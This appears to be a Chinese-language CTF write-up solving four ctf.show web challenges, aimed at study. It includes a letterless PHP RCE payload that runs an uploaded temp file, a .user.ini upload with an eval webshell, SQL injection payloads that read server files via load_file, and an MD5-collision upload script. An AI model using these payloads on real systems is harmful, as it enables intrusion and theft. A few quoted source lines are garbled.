红包题第二弹
打开题目,提示参数cmd
我们随便输入?cmd=1
得到源代码
ctf.show_红包题
where is the flag?
<?php
#error_reporting(0);
?>
<html lang="zh-CN">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width minimum-scale=1.0 maximum-scale=1.0 initial-scale=1.0" />
<title>ctf.show_红包题</title>
</head>
<body>
<center>
<h2>ctf.show_红包题</h2>
<h4>where is the flag?</h4>
</center>
<!-- hint:?cmd= -->
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>
</body>
</html>
cerror
我们要利用eval()函数命令执行,但是我们看一下if语句,发现是无字母数字RCE,并且不能用取反,异或,自增去绕过
(这里可以参考p神文章)
我们得先了解下面几个概念
-
点
.
点命令等于source命令,用来执行文件。source /home/user/bash 等同于 . /home/user/bash
-
临时文件夹目录
php上传文件后会将文件存储在临时文件夹,然后用move_uploaded_file()
函数将上传的文件移动到新位置。临时文件夹可通过php.ini的upload_tmp_dir 指定,默认是/tmp目录。 -
临时文件命名规则
默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp
linux下:phpXXXXXX。 -
通配符
问号?代表一个任意字符,通配符/??p/p?p???匹配/tmp/phpxxxxxx
-
Content-Type
Content-Type有两个值:
①application/x-www-form-urlencoded(默认值) :上传键值对
②multipart/form-data:上传文件
思路:利用上传的临时文件去命令执行getshell
首先我们得先实现文件上传的功能
F12右键编辑html,将下面代码复制上去
<!DOCTYPE html>
<html>
<body>
<form action="http://2f338e1a-3306-4dca-a12d-a28af3e750db.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
现在我们要创建1.txt
上传的包,写入我们执行的命令
ls /
然后上传,用bp抓包
添加参数
?cmd=?><?=`.+/??p/p?p??????`;
注:
- 第一个
?>
是为了闭合前面的php代码 /??p/p?p??????
是匹配/tmp/php??????
发送,发现有flag
cat一下,得到flag
web13
打开题目,去读取下upload.php的备份文件
访问./upload.php.bak
,得到源码
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){ //文件内容不能大于24
die("error file zise");
}
if (strlen($filename)>9){ //文件名不能大于9
die("error file name");
}
if(strlen($ext_suffix)>3){ //拓展名长度不能大于3
die("error suffix");
}wenjian
if(preg_match("/php/i",$ext_suffix)){ //匹配php不分大小写,拓展名不能为php
die("error suffix");
}
if(preg_match("/php/i"),$filename)){ //匹配php不分大小写,文件名不能为php
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
分析一下,既然拓展名只能读取一个,且不能为php
那么可以采用.user.ini配置文件攻击
首先创建.user.ini
文件,写入
auto_prepend_file=a.txt
然后上传,让所有文件包含a.txt
上传成功后,我们创建a.txt
,写入
<?php eval($_GET['a']); //长度小于24
上传,结果发现报错
看来只能先上传
a.txt
,我们重启下环境
分别上传,发现成功getshell(上传文件的路径为根目录)
直接命令执行的话,发现直接回到初始页面
那么我们只能遍历下目录看看有什么php文件了
/?a=print_r(glob("*"));
或者是
?a=print_r(scandir('.'));
发现有个非常特别的php文件
我们尝试读取
?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
web14
打开题目,发现是swtich选择结构
源代码如下
<?php
include("secret.php");
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
highlight_file(__FILE__);
关键点就在于我们要得到$url
的值,当然有好几个选择
但是有这个sleep($c)
出现(毕竟谁也不想等)
那就只能传c=3进去
访问一下,发现是登录框
输入1时,回显admin
- List item
- 输入-1时,报错
F12查看源代码,发现有过滤条件
方法一
思路:我们可以用
mysql.innodb_table_stats
代替information_schema
然后用无列名注入得到flag
我们先判断下字段数
payload
?query=-1/**/union/**/select/**/1#
输入下面payload时报错
?query=-1/**/union/**/select/**/1,2#
说明字段数为1,然后我们就可以使用联合查询
爆库名
payload
?query=-1/**/union/**/select/**/database()#
继续爆表名
payload
?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()#
然后无列名注入
payload
?query=-1/**/union/**/select/**/group_concat(`1`,`2`,`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/content)a#
(方法二已经查到有三列,所以这里有三位)
提示tell you a secret,secret has a secret...
,那应该和./secret.php
脱不了干系
访问一下,发现确实有东西,但是没显示,F12看hint
应该是要读取此文件
?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')#
提示我们应该读取
/real_flag_is_here
修改一下payload
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
得到flag
方法二
用information_schema.`tables`绕过
查询语句
爆库名
?query=-1/**/union/**/select/**/database()#
爆表名
?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()#
爆列名
?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'#
查询数据
?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content#
同样可以得到secret的提示
红包题第六弹
打开题目,由于提示不是SQL注入,那我们只好扫目录
(这里我的御剑和kali的dirsearch都扫不出来。。)
不过确实能扫出./web.zip
,访问下载此文件
解压完发现是备份文件
源代码
function receiveStreamFile($receiveFile){
$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
if(empty($streamData)){
$streamData = file_get_contents('php://input');
}
if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}
return $ret;
}
if(md5(date("i")) === $token){
$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}
$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}
$ret['errormsg']="token error";
echo json_encode($ret);
return;
分析一下
receiveStreamFile($receiveFile)
函数用于接收通过流方式上传的文件数据,并将其保存到指定的文件中。它可以用作文件上传的处理函数。- 然后就是比较生成的时间分钟数的 MD5 哈希值与给定的 $token是否相等,比较我们上传的文件的md5值是否强等于key.dat,同时sha1值不相等
我们可以查看下页面源代码
发现$token值是可控的
然后我们在直接访问./key.dat
,下载此文件
利用工具生成我们要上传的文件
./fastcoll_v1.0.0.5.exe -p key.dat -o 1.dat 2.dat
然后就是上传文件(1.dat和2.dat都行)
脚本
#ctf.show web 红包题第六弹
import requests
import time
import hashlib
import threading
def post(data):
try:
r=requests.post(url,data=data)
if "ctfshow" in r.text:
print(r.text)
except Exception as e:
pass
mi=str(time.localtime().tm_min)
m=hashlib.md5(mi.encode()).hexdigest()
url='http://95057b51-9493-4032-85ec-1a53d150505a.challenge.ctf.show/check.php?token={}&php://input'.format(m)
with open('key.dat','rb') as f:
data1=f.read()
with open('2.dat','rb') as f:
data2=f.read()
for i in range(30):
threading.Thread(target=post,args=(data1,)).start()
for i in range(30):
threading.Thread(target=post,args=(data2,)).start()
解释:
- time.localtime() 返回当前的本地时间,tm_min 获取当前分钟数。
- str(time.localtime().tm_min) 将分钟数转换为字符串。
- mi.encode() 将字符串编码为字节串,以便进行哈希计算。
- hashlib.md5() 使用 MD5 哈希算法创建一个哈希对象。
总的来说,m=hashlib.md5(mi.encode()).hexdigest()
计算哈希对象的摘要,并使用 hexdigest() 方法将结果转换为十六进制表示的字符串。这个字符串 m 将用作请求 URL 中的 token 部分。
运行脚本,得到flag